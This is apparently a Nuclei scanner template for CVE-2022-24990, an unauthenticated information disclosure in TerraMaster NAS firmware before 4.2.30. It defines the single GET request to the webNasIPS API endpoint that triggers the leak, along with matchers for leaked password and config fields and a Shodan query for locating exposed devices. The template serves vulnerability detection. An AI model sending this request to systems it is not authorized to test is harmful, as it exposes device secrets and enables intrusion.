58 lines
2.0 KiB
YAML
58 lines
2.0 KiB
YAML
id: CVE-2022-24990
|
|
|
|
info:
|
|
name: TerraMaster TOS < 4.2.30 Server Information Disclosure
|
|
author: dwisiswant0
|
|
severity: high
|
|
description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
|
|
remediation: |
|
|
Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
|
|
- https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
|
|
- https://forum.terra-master.com/en/viewforum.php?f=28
|
|
- http://packetstormsecurity.com/files/172904/TerraMaster-TOS-4.2.29-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-24990
|
|
cwe-id: CWE-306
|
|
epss-score: 0.93762
|
|
epss-percentile: 0.98897
|
|
cpe: cpe:2.3:o:terra-master:terramaster_operating_system:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: terra-master
|
|
product: terramaster_operating_system
|
|
shodan-query: "TerraMaster"
|
|
tags: packetstorm,cve,cve2022,terramaster,exposure,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/module/api.php?mobile/webNasIPS"
|
|
|
|
headers:
|
|
User-Agent: "TNAS"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
- "TerraMaster"
|
|
condition: and
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "webNasIPS successful"
|
|
- "(ADDR|(IFC|PWD|[DS]AT)):"
|
|
- "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":"
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450220170b2a8df2c8516d369f1b11d8ede77f2a6476db5dc74f2b39bcfcedf1116886022100d1289a3ed956b1a9092dbb8a36a15b617399e81dff3b1400452449a7100e2415:922c64590222798bb761d5b6d8e72950 |